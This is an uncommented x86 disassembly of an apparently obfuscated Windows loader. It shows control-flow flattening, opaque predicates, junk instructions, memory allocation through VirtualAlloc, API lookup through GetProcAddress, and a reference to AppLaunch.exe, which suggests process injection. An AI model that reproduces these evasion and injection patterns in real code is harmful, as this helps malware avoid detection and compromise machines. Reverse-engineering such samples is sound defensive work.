mov eax, dword [ebp - 0x50]
mov dword [eax], 0
mov eax, 0xc7f853da
jmp 0x402340
cmp eax, 0x713157e
jg 0x406ce4
cmp eax, 0x6341c3c
je 0x40a83b
cmp eax, 0x65dec89
jne 0x402340
mov eax, dword [ebp - 0x20]
mov dword [eax], 2
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x24044d4b
and edx, 0xa809290
or ecx, edx
mov edx, eax
xor edx, 0x2e84dfdb
mov edi, ecx
xor edi, 0x4000508
xor ecx, 0xdbfbb2b4
and edx, eax
mov esi, ecx
and esi, 0xa8bdd857
and edi, 0x6000788
or edi, esi
mov esi, edx
not esi
and edx, 0x574227a8
or ecx, esi
and esi, 0xa8bdd857
or edx, esi
not ecx
mov esi, 0x6cc82cc0
xor edx, edi
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x2e84dfda
and edx, 0xd17b2025
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete dl
setne ah
cmp dword [0x477980], 0xa
setge al
setl cl
xor al, ah
or ah, cl
and al, cl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, ch
or cl, ah
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x33821ca0
cmovne ecx, esi
test al, 1
mov eax, 0x33821ca0
jmp 0x40c20b
cmp eax, 0x81fec4d2
jg 0x406d1a
cmp eax, 0x80e15c73
je 0x40a913
cmp eax, 0x812c289d
jne 0x402340
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xe4]
mov eax, 0x2b91412a
jmp 0x402340
cmp eax, 0x4510cd43
jg 0x406e0e
cmp eax, 0x437feff2
je 0x402220
cmp eax, 0x445afe2e
jne 0x402340
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov eax, 0xcb77abaf
jmp 0x402340
cmp eax, 0xc1577a6b
jg 0x4070c0
cmp eax, 0xbe274565
je 0x40a91d
cmp eax, 0xbe993dc3
jne 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov edi, eax
and edi, 0xfd7bcde9
mov ecx, edx
and ecx, 0x2843216
and edx, 0x68b471c2
or edi, ecx
mov ecx, edi
xor ecx, 0x843000
and edi, 0x803000
or ecx, 0xbf538fff
mov esi, ecx
and esi, 0xff6c4be7
or edi, esi
mov esi, eax
xor esi, 0x40ac7000
and esi, eax
and eax, 0x974b8e3d
mov ebx, esi
not ebx
and esi, 0x93b418
or eax, edx
or ecx, ebx
and ebx, 0xff6c4be7
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x4357ce9a
and esi, 0xbca83165
or ecx, esi
mov esi, 0x1f74e2c5
mov edi, ecx
xor edi, 0x160a08a
xor ecx, 0xfc044164
mov edx, ecx
and edx, 0xda9f5e55
and edi, 0x2560a1aa
or edi, edx
mov edx, eax
xor edx, 0x5408028
xor eax, 0x48945040
and eax, 0xda9f5e55
and edx, 0x2560a1aa
or edx, eax
xor edx, edi
not edx
or edx, ecx
xor edx, 0xffffffff
sete ah
setne ch
cmp dword [0x477980], 0xa
mov al, ah
setl cl
setge dl
xor al, cl
xor ch, dl
or dl, ah
or cl, ah
and al, ah
xor cl, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd38871db
cmovne ecx, esi
test al, 1
mov eax, 0xd38871db
jmp 0x40c20b
cmp eax, 0x1e0420a5
jg 0x4071dd
cmp eax, 0x1ca8f399
je 0x40a927
cmp eax, 0x1d8f4db9
jne 0x402340
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov eax, 0x1188f045
jmp 0x402340
cmp eax, 0xa7f03d4f
jg 0x40731a
cmp eax, 0xa62d4ea7
je 0x40a93c
cmp eax, 0xa63827aa
jne 0x402340
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x124], eax
mov eax, 0xb80030dd
jmp 0x402340
cmp eax, 0x65d89f4a
je 0x40a9f8
cmp eax, 0x69114573
jne 0x402340
mov dword [ebp - 0xd8], 0
mov eax, 0x12d32e38
jmp 0x402340
cmp eax, 0xe0636ffb
je 0x40aaa8
cmp eax, 0xe0ecfc09
jne 0x402340
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x180]
cmp dword [ecx + eax*4], 0
mov eax, 0x99274e7e
mov ecx, 0xadcea7ab
cmove eax, ecx
jmp 0x402340
cmp eax, 0x11fc2a84
je 0x40aab2
cmp eax, 0x12d32e38
jne 0x402340
push 4
push 0x3000
push dword [ebp - 0x11c]
push dword [ebp - 0xd8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0xb117b06
mov eax, dword [ebp - 0x60]
cmp dword [eax + 4], 0
mov eax, 0x1b5d7714
cmove eax, ecx
jmp 0x402340
cmp eax, 0x912cfb11
je 0x40aabf
cmp eax, 0x923e64fc
jne 0x402340
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x2590777f
and ecx, 0xda6f8880
or edx, ecx
xor edx, 0x2590777f
or eax, edx
mov ecx, eax
xor ecx, 0x20000000
mov edx, eax
not edx
and ecx, eax
and edx, 0x26239b51
and eax, 0xd9dc64ae
or eax, edx
mov esi, ecx
not esi
and ecx, 0x537c2427
mov edx, eax
xor edx, 0x515c2426
xor eax, 0x6239b51
mov edi, esi
and edi, 0xac83dbd8
or esi, eax
and eax, 0xac83dbd8
and edx, 0x537c2427
or ecx, edi
or edx, eax
not esi
mov eax, 0xb3bd62bc
xor edx, ecx
or esi, edx
cmp esi, 0xffffffff
setne byte [ebp - 0x90]
jmp 0x402340
cmp eax, 0x5432225b
je 0x40aac9
cmp eax, 0x5491f8ab
jne 0x402340
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
add eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, 0x18afd060
jmp 0x402340
cmp eax, 0xcda77f72
je 0x40aad9
cmp eax, 0xce5bd880
jne 0x402340
mov eax, 0x8802bb70
jmp 0x402340
cmp eax, 0x2b91412a
je 0x40aae3
cmp eax, 0x2bf1f9a4
jne 0x402340
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x1b0], eax
mov eax, 0x2cbadbc4
jmp 0x402340
cmp eax, 0xb3bd62bc
je 0x40ac1c
cmp eax, 0xb59375eb
jne 0x402340
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xf0]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb8]
add eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x24]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*8 + 0x14]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x24]
mov esi, dword [esi]
lea esi, [esi + esi*4]
push dword [edx + esi*8 + 0x10]
push ecx
push eax
vzeroupper
call fcn.00446ea0
add esp, 0xc
mov eax, 0x6bd01534
jmp 0x402340
cmp eax, 0x7370727d
je 0x40ac35
cmp eax, 0x7673dfea
jne 0x402340
mov eax, dword [ebp - 0x164]
add eax, 8
mov dword [ebp - 0x168], eax
mov eax, 0x5491f8ab
jmp 0x402340
cmp eax, 0xf284f8fc
je 0x40ac5f
cmp eax, 0xf39f6fdb
jne 0x402340
mov eax, dword [ebp - 0xa0]
vxorps xmm0, xmm0, xmm0
mov ecx, 0xa0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x7c]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, ecx
mov ecx, dword [0x477984]
mov dword [ebp - 0x118], eax
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0xd9a570a0
mov edx, esi
and edx, 0x265a8f5e
and esi, 0x9a5517cc
or edx, ecx
mov ecx, eax
or ecx, 0xd9a570a0
and eax, 0x65aae833
and ecx, 0xd9a570a1
or eax, esi
xor ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xe455b802
and edx, 0x1baa47fd
or edx, esi
mov esi, eax
xor esi, 0x1aa4031
xor eax, 0x9a5517cc
or ecx, eax
and eax, 0xe455b802
and esi, 0x1baa47fd
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x349e1145
cmp ecx, 0xffffffff
setne ah
cmp dword [0x477980], 0xa
mov al, ah
mov dh, ah
setl dl
setge ch
inc al
mov cl, al
and cl, ah
xor cl, 1
xor dh, cl
or cl, ah
and ah, dl
xor cl, 1
or cl, dh
mov dh, cl
xor cl, 1
and cl, dl
or dl, al
and al, ch
and dh, ch
or al, ah
mov ah, dl
or cl, dh
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
mov ch, al
xor dl, 1
and ch, dl
xor ch, 1
or ch, dl
or dl, cl
xor cl, 1
xor ch, 1
xor dl, 1
or ch, al
xor ch, cl
xor cl, al
or dl, cl
mov eax, edx
xor al, ch
test al, 1
mov eax, 0x1b64273c
cmovne esi, eax
test dl, 1
mov eax, 0x349e1145
cmovne eax, esi
test ch, 1
cmove eax, esi
jmp 0x402340
cmp eax, 0xc00c220
je 0x40ad8e
cmp eax, 0xc724f3e
jne 0x402340
mov eax, 0x93c3d70c
jmp 0x402340
cmp eax, 0x873e900b
je 0x40ad98
cmp eax, 0x8802bb70
jne 0x402340
imul esi
dec edx
not eax
inc edi
neg edx
inc edx
rcl edx, 0x76
inc edx
and ebx, 0x75
and ebx, 0xbd
rcl edx, 0x7a
ror ebx, 0x85
rcl edx, 0x2a
neg eax
rcl edx, 0x5b
rcl esi, 0xb2
ror edx, 0xfc
rol eax, 0x27
and eax, 0x61
not edx
sbb eax, 0xb4
rcl ebx, 0x99
inc ebx
imul edx
dec edi
rol eax, 0xbd
bswap esi
imul edi
not ebx
mov ebx, 0xbc
bswap edx
bswap eax
neg edx
or edx, 0x1d
dec edi
or ebx, 0x7c
add eax, 0x3e
ror edi, 0x4f
bswap edi
and edx, 0x41
rcl edx, 0xa2
rcr ebx, 0xf7
rcr edx, 0x33
bswap edx
sub eax, 0xa2
dec edx
imul esi
bswap edx
add eax, 0xa4
bswap edx
sub ebx, 0xee
or edx, 0xe3
inc esi
inc ebx
not edx
mov edx, 0xce
imul esi
bswap edi
rol esi, 0x3c
rcl ebx, 0x7a
sub esi, 0xc0
imul eax
rcr esi, 0x3d
neg edi
imul eax
sbb edx, 0x62
sub ebx, 0x2f
rol esi, 0xbb
dec edx
ror esi, 0xd5
mov eax, 0x22
dec edi
rol edx, 0xca
mov eax, 0xec
inc edx
imul ebx
imul edx
imul eax
and edx, 0x50
rol edx, 0xd9
add edx, 0x46
rol edx, 0xec
or esi, 0x85
bswap edi
add edi, 0x8b
not edi
sub esi, 0xe5
bswap esi
or edx, 0x67
rcr esi, 0x95
add edx, 0xa4
dec edi
bswap edi
not esi
imul ebx
not ebx
or edx, 0x47
rcl esi, 0xe2
imul eax
or edx, 0x6c
rol edx, 0xc0
mov ebx, 0x13
imul esi
rcr edx, 0x76
sbb ebx, 0x54
sbb eax, 0x5d
neg eax
and edi, 0x9b
rol esi, 0xec
ror eax, 0x9c
or edi, 0x70
inc edi
dec eax
sub eax, 0x81
rol ebx, 0x1f
rcl ebx, 0x1b
sbb edi, 0xee
add eax, 0xdf
rol edi, 0xd1
add eax, 0xcd
dec eax
and edx, 0x67
inc edx
dec edx
or edi, 0xc0
not edx
mov ebx, 0x9a
sbb ebx, 0x6f
neg edx
dec edx
rcr edx, 1
inc esi
rol esi, 0x89
neg esi
not eax
sub ebx, 0xf1
inc edi
not edx
bswap esi
ror eax, 0xcd
neg esi
not edi
bswap edx
mov ebx, 0xdc
neg ebx
rol edi, 0x49
sub edi, 0x4b
imul edi
rol eax, 0x95
ror edi, 0x4c
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc8]
mov eax, 0xfe468e64
jmp 0x402340
cmp eax, 0x4cffd58c
je 0x40ae54
cmp eax, 0x4de70d1e
jne 0x402340
cmp byte [ebp - 0x89], 0
mov eax, 0x1b5d7714
mov ecx, 0xdf6f47dd
cmovne eax, ecx
jmp 0x402340
cmp eax, 0xc6bb2ca1
je 0x40af26
cmp eax, 0xc7f6bdac
jne 0x402340
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, 0x4cffd58c
jmp 0x402340
cmp eax, 0x20897045
je 0x40af4c
cmp eax, 0x22a5ce4f
jne 0x402340
mov eax, 0xc00c220
jmp 0x402340
cmp eax, 0xabb76ba7
je 0x40b00b
cmp eax, 0xad03fb9f
jne 0x402340
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x43010a20
and ecx, 0x38c01100
mov esi, eax
and esi, 0x80002408
or edx, esi
mov esi, eax
or esi, 0xc3012e28
and eax, 0x120016
xor edx, 0x80002408
and esi, 0xc72deee9
lea eax, [edx + eax + 0x42cc0c1]
or ecx, esi
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xc3132e3e
and ecx, 0x3cecd1c1
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x746e43b3
mov esi, ecx
and esi, 0x8b91bc4c
or edx, esi
mov esi, eax
not esi
and eax, 0x746e43b3
or ecx, esi
and esi, 0x8b91bc4c
or eax, esi
not ecx
mov esi, 0x5432225b
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x7cad0751
and eax, 0x8352f8ae
or eax, edx
xor eax, 0x8352f8ae
or eax, ecx
cmp eax, 0xffffffff
sete ah
cmp dword [0x477980], 0xa
setl ch
mov cl, ch
mov al, ch
or cl, ah
xor al, ah
xor cl, 1
and ah, al
or cl, al
and al, ch
xor ah, 1
mov edx, ecx
xor al, 1
mov ch, ah
xor dl, 1
xor ch, al
or al, ah
xor al, 1
and cl, dl
or al, ch
xor cl, 1
mov ch, dl
xor ch, cl
or cl, dl
mov ah, al
xor cl, 1
xor ah, 1
or cl, ch
mov ch, cl
and cl, al
xor ch, 1
and ch, ah
mov ah, dl
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe811b0ab
cmovne edx, esi
test al, 1
mov eax, 0xe811b0ab
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x402340
cmp eax, 0x6cc82cc0
je 0x40b020
cmp eax, 0x6e1bc21e
jne 0x402340
vmovups ymm0, ymmword [0x4541d8]
vmovups ymm1, ymmword [0x4541c0]
mov eax, dword [ebp - 0x88]
vmovups ymm2, ymmword [0x4541a0]
mov ecx, 0x705eb76a
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x9c]
setne byte [eax]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x9c]
cmp byte [eax], 0
mov eax, 0x31857193
cmove eax, ecx
jmp 0x402340
cmp eax, 0xea7bf037
je 0x40b033
cmp eax, 0xebfce319
jne 0x402340
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1489b238
and ecx, 0xeb764dc6
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
xor edx, 0x1489b238
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xe57661c1
xor edx, ecx
test edx, ecx
setne cl
cmp dword [0x477980], 0xa
setge al
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, 1
and al, dl
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x7370727d
mov al, ah
xor al, dl
cmovne ecx, esi
test dl, dl
mov edx, ecx
cmovne edx, esi
test ah, ah
cmove edx, ecx
mov eax, edx
jmp 0x402340
cmp eax, 0x18afd060
je 0x40b03d
cmp eax, 0x18e2ede3
jne 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xb20fe505
and edx, 0x4df01afa
or ecx, edx
mov edx, eax
xor edx, 0x23574c5b
mov edi, ecx
xor ecx, 0x150085a
xor edi, 0x22054000
and edx, eax
or ecx, 0xdca8b3a4
and edi, 0x22054002
mov esi, ecx
and esi, 0xcd7a0f5d
or edi, esi
mov esi, edx
not esi
and edx, 0x3285f0a2
or ecx, esi
and esi, 0xcd7a0f5d
or edx, esi
not ecx
mov esi, 0xee6cfc87
xor edx, edi
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xc57b64ff
and edx, 0x3a849b00
or ecx, edx
mov edx, ecx
xor edx, 0xe62c28a5
xor ecx, 0x19d3d75a
and edx, eax
andn eax, eax, ecx
or edx, eax
xor ecx, edx
test ecx, edx
setne al
cmp dword [0x477980], 0xa
setge dl
mov ah, dl
xor ah, al
or al, dl
mov cl, ah
mov edx, eax
xor cl, 1
not dl
and dl, cl
or cl, al
and al, ah
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x605f342
cmovne eax, esi
test cl, cl
mov ecx, 0x605f342
jmp 0x409f4b
cmp eax, 0x98182313
je 0x40b061
cmp eax, 0x99274e7e
jne 0x402340
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x50]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x10020803
and eax, 0xee391408
mov edx, ecx
or edx, 0x40c260
and esi, 0x1042ca63
and ecx, 0x1842194
and edx, 0x1042ca63
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x1c4e3f4
and ecx, 0xfe3b1c0b
or eax, ecx
mov edx, eax
movzx ecx, ax
not eax
and edx, 0xffff0000
and eax, 0xffff0000
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x40184921
mov edx, eax
and edx, 0x13c30644
and eax, 0xac24b09a
or ecx, edx
xor ecx, 0x40184921
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6bb0ebe
and ecx, 0xf944f141
or eax, ecx
mov ecx, eax
xor ecx, 0x22b028c
xor eax, 0xe9041101
and eax, 0xed941d33
and ecx, 0x126be2cc
or ecx, eax
mov eax, dword [ebp - 0x94]
xor ecx, 0x126be2cc
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x110], eax
mov eax, 0x64847afb
jmp 0x402340
cmp eax, 0x5be09b7c
je 0x40b118
cmp eax, 0x5e832f00
jne 0x402340
mov eax, 0x873e900b
jmp 0x402340
cmp eax, 0xd8b7d8e1
je 0x40b122
cmp eax, 0xd922f79b
jne 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x2cb1b3a8
and eax, 0xd34e4c57
or edx, eax
xor edx, 0x2cb1b3a8
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and ecx, 0x8af704a5
and edx, 0xfffffffe
and eax, 0x7508fb5a
or ecx, eax
xor ecx, 0x8af704a4
or ecx, edx
mov edx, ecx
xor edx, 0x33e681a7
mov eax, ecx
and eax, 0x13628007
and edx, ecx
not ecx
and ecx, 0x208401a0
or eax, ecx
mov ecx, eax
xor ecx, 0x2228006
xor eax, 0xec9d7ff8
mov esi, eax
and esi, 0xfd501cc1
and ecx, 0x2a68126
or ecx, esi
mov esi, edx
not esi
and edx, 0x2afe33e
or eax, esi
and esi, 0xfd501cc1
or edx, esi
not eax
mov esi, 0xb59375eb
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x33e681a7
and ecx, 0xcc197e58
or eax, ecx
setne dl
cmp dword [0x477980], 0xa
setge al
mov ecx, eax
xor cl, dl
mov ah, cl
and cl, al
or al, dl
and ah, dl
xor cl, 1
xor al, 1
xor ah, 1
mov edx, eax
mov ch, ah
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6bd01534
cmovne ecx, esi
test al, 1
mov eax, 0x6bd01534
jmp 0x40c20b
cmp eax, 0x3407a83a
je 0x40b1b7
cmp eax, 0x349e1145
jne 0x402340
mov eax, 0x72721dd4
jmp 0x402340
cmp eax, 0xbb0d5734
je 0x40b291
cmp eax, 0xbb105eaf
jne 0x402340
mov eax, dword [ebp - 0x18c]
mov ecx, 0x4c5037f3
cmp eax, dword [ebp - 0x190]
mov eax, 0xc30d3c1b
cmovl eax, ecx
jmp 0x402340
cmp eax, 0x78d97611
je 0x40b33a
cmp eax, 0x7a3f6c7d
jne 0x402340
mov eax, 0xcb6d3f05
jmp 0x402340
cmp eax, 0xfef0fa84
je 0x40b43a
cmp eax, 0xff31bfc8
jne 0x402340
mov eax, 0xc4342a0d
jmp 0x402340
cmp eax, 0x5fbeb09
je 0x40b447
cmp eax, 0x605f342
jne 0x402340
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, 0xee6cfc87
jmp 0x402340
cmp eax, 0x8087abce
je 0x40b451
cmp eax, 0x80913008
jne 0x402340
mov eax, dword [ebp - 0x50]
mov eax, 0x1b47d457
jmp 0x402340
cmp eax, 0x4130a1fc
je 0x40b45b
cmp eax, 0x41812b7f
jne 0x402340
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x114]
mov dword [eax], ecx
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x50c1eea0
mov esi, edx
and esi, 0xaf3e115e
and edx, 0x6e97cc72
or ecx, esi
mov edi, ecx
xor edi, 0x40014800
xor ecx, 0xaf3e115f
mov esi, ecx
and esi, 0x98c0b6f7
and edi, 0x673f4908
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x9168338d
mov ebx, esi
not ebx
and esi, 0x673f4908
or eax, edx
or ecx, ebx
and ebx, 0x98c0b6f7
xor eax, 0x9168338d
or esi, ebx
not ecx
xor esi, edi
mov edi, 0x80e15c73
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x1bf2ca88
and esi, 0xe40d3577
or ecx, esi
mov esi, 0x6ec5b2ad
xor ecx, 0x1bf2ca88
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1bed9152
and ecx, 0xe4126ead
or eax, ecx
cmp eax, 0x1bed9152
setne dl
cmp dword [0x477980], 0xa
mov ecx, edx
setl ah
setge ch
inc cl
mov al, cl
mov dh, ah
xor al, ah
or dh, dl
and al, dl
and dl, ah
or ah, cl
and cl, ch
xor ah, 1
or cl, dl
xor al, 1
or cl, ah
mov ebx, eax
or al, dh
mov ah, cl
xor bl, dh
xor al, 1
xor ah, 1
or al, bl
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
not cl
and cl, al
test dl, 1
mov eax, 0x6ec5b2ad
cmovne eax, edi
test cl, 1
cmove eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmovne eax, edi
jmp 0x402340
cmp eax, 0xbd771d62
je 0x40b55d
cmp eax, 0xbdc2c0de
jne 0x402340
cmp dword [ebp - 0xcc], 0
mov eax, 0xf51e410e
mov ecx, 0xb636861a
cmove eax, ecx
jmp 0x402340
cmp eax, 0x1bdaf48f
je 0x40b66c
cmp eax, 0x1c8b66fc
jne 0x402340
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, 0xb0c73f85
jmp 0x402340
cmp eax, 0x9ffca102
je 0x40b78d
cmp eax, 0xa36c741e
jne 0x402340
mov ecx, dword [ebp - 0x74]
mov edi, 0x53af7411
mov eax, ecx
not eax
and ecx, 0x2a500b85
mov edx, eax
and edx, 0xa04450
and eax, 0xd50fb02a
or ecx, edx
xor ecx, 0x2a500b85
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x579e3c66
and eax, 0x46071c8b
and ecx, 0xa861c399
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x579e3c66
xor esi, 0x119920ed
xor edx, 0x20400010
and esi, ecx
and edx, 0x60c83c72
or eax, esi
mov esi, eax
not esi
and eax, 0x279adfd7
and esi, 0xd8652028
or eax, esi
mov esi, ecx
and esi, 0x9f37c38d
and ecx, 0x40000000
or esi, edx
xor eax, 0xde623ca3
xor esi, 0x20c83c72
or ecx, esi
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xc0e9af4
mov edx, ecx
and edx, 0x80200b0
and eax, ecx
not ecx
and ecx, 0x40c9a44
or edx, ecx
xor edx, 0x80200b0
or eax, edx
mov ecx, eax
not ecx
and eax, 0x514364d7
and ecx, 0xaebc9b28
or eax, ecx
mov ecx, eax
xor ecx, 0xd48d803
xor eax, 0x2220050
and ecx, 0xadd8d98f
and eax, 0x52272670
or eax, ecx
mov ecx, dword [0x477984]
cmp eax, 0x52272670
setne byte [ebp - 0x8f]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xb658b72c
and ecx, 0x49a748d3
or eax, ecx
mov ecx, eax
xor ecx, 0x8408b628
xor eax, 0x48004803
and eax, 0x7a504907
and ecx, 0x85afb6f8
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x2a100906
xor esi, 0x85afb6f8
xor ecx, 0x3a500102
mov eax, esi
or eax, 1
and esi, 0xd142c061
and edx, 0x2ebd3f9e
and ecx, 0xbbf52782
or edx, esi
mov esi, eax
and esi, 0x440ad87c
or ecx, esi
mov esi, edx
xor esi, 0x2ab52783
xor edx, 0xd142c060
or eax, edx
and edx, 0x440ad87c
and esi, 0xbbf52783
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xaa9a1caf
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x31612073
andn eax, eax, eax
and edx, 0xce9edf8c
or ecx, edx
xor ecx, 0x31612073
or eax, ecx
setne al
cmp dword [0x477980], 0xa
setge cl
mov edx, ecx
or dl, al
xor al, cl
xor al, 1
mov ecx, eax
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
mov edx, 0x53af7411
